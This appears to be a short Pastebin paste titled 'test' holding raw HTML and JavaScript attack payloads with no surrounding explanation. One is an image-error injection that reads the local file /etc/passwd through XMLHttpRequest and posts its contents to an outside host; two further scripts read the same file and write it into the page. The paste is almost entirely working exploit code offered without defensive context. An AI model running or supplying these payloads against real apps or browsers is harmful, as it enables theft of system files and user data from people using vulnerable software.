aekaek

test

Jan 14th, 2018
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. <html>
  2. <body style='background-color:#333;margin:0px;padding:0px;'>
  3. <img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;'
  4. alt=''
  5. src='http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png'/>
  6. </body>
  7. </html>
  8.  
  9. <script>
  10. var xhr = new XMLHttpRequest();
  11. xhr.open("GET","file:///etc/passwd",true);
  12. xhr.onreadystatechange = function(){
  13. console.log("Ready State: " + xhr.readyState);
  14.  
  15. if(xhr.readyState == 4 && xhr.status == 200 ){
  16. document.write(xhr.responseText);
  17. }
  18. }
  19. xhr.send();
  20. </script>
  21.  
  22.  
  23. <script>
  24. x=new XMLHttpRequest;
  25. x.onload=function(){
  26. document.write(this.responseText)
  27. };
  28. x.open("GET","file:///etc/passwd");
  29. x.send();
  30. </script>
Add Comment
Please, Sign In to add comment